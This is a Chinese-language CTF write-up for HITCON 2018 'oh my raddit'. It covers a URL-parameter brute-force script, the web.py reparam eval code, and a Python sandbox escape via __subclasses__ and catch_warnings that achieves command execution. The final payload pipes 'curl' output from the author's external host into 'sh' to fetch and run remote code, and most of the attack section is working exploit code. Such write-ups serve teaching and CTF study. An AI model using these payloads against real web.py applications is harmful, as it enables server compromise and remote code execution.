<td><ahref="?s=8c762b8f22036dbbdda56facf732ffa71c3a372e4530241246449a55e25888cf98164f49a25f54a84ea0640e3adaf107cc67c8f2e688e8adf18895d89bfae58e33ae2e67609b509afb0e52f2f8b2145e">50 million Facebook accounts owned</a></td>
for i in range(0,len(url)): print("[-] "+str(i)) for j in randStr: tmp = copy.deepcopy(url) tmp[i] = j realUrl = host + ''.join(tmp) res = requests.get(realUrl,allow_redirects=False) if res.status_code == 303: if tmp != url: print("[+] "+str(i)+":"+realUrl) else: pass elif res.status_code==500: print("[+] "+str(i)+":"+res.text)
defreparam(string_, dictionary): """ Takes a string and a dictionary and interpolates the string using values from the dictionary. Returns an `SQLQuery` for the result. >>> reparam("s = $s", dict(s=True)) <sql: "s = 't'"> >>> reparam("s IN $s", dict(s=[1, 2])) <sql: 's IN (1, 2)'> """ dictionary = dictionary.copy() # eval mucks with it # disable builtins to avoid risk for remote code exection. dictionary['__builtins__'] = object() vals = [] result = [] for live, chunk in _interpolate(string_): if live: v = eval(chunk, dictionary) result.append(sqlquote(v)) else: result.append(chunk) return SQLQuery.join(result, '')
def_interpolate(format): """ Takes a format string and returns a list of 2-tuples of the form (boolean, string) where boolean says whether string should be evaled or not. from <http://lfw.org/python/Itpl.py> (public domain, Ka-Ping Yee) """ from tokenize import tokenprog
defmatchorfail(text, pos): match = tokenprog.match(text, pos) if match isNone: raise _ItplError(text, pos) return match, match.end()
for live, chunk in _interpolate(string_): if live: v = eval(chunk, dictionary) # dictionary = {"s":"test"} result.append(sqlquote(v)) else: result.append(chunk)
只看上面的代码,任意代码执行,非常简单了:
1 2
In [16]: eval("__import__('os').getcwd()",{'s':"test"}) Out[16]: '/Volumes/data/ctf/2018hitcon/oh_my_raddit'
但是上面有一个操作:
1 2
# disable builtins to avoid risk for remote code exection. dictionary['__builtins__'] = object()
把dictionary命名空间中的内建模块给替换掉了,所以导致__import__找不到了。
1 2 3 4 5 6 7 8 9 10 11
In [28]: a["__builtins__"] = object()
In [29]: eval("__import__('os').getcwd()",a) --------------------------------------------------------------------------- NameError Traceback (most recent call last) <ipython-input-29-47f22339b750> in <module>() ----> 1 eval("__import__('os').getcwd()",a)
<string> in <module>()
NameError: name '__import__'isnot defined
但是这个很显然可以通过绕过没有内建模块的python沙箱的方法绕过这个限制:
1
eval("[item for item in [].__class__.__bases__[0].__subclasses__() if item.__name__=='catch_warnings' ][0]()._module.__builtins__['__import__']('os').system('pwd')",a)
payload如下:
1
print(reparam("a=${[item for item in [].__class__.__bases__[0].__subclasses__() if item.__name__=='catch_warnings' ][0]()._module.__builtins__['__import__']('os').system('pwd')}",dict(s='test')))
"m=p&l=${[item for item in [].__class__.__bases__[0].__subclasses__() if item.__name__=='catch_warnings' ][0]()._module.__builtins__['__import__']('os').system('curl http://wonderkun.cc:3000/wonderkun.cc:8888|sh')}'}"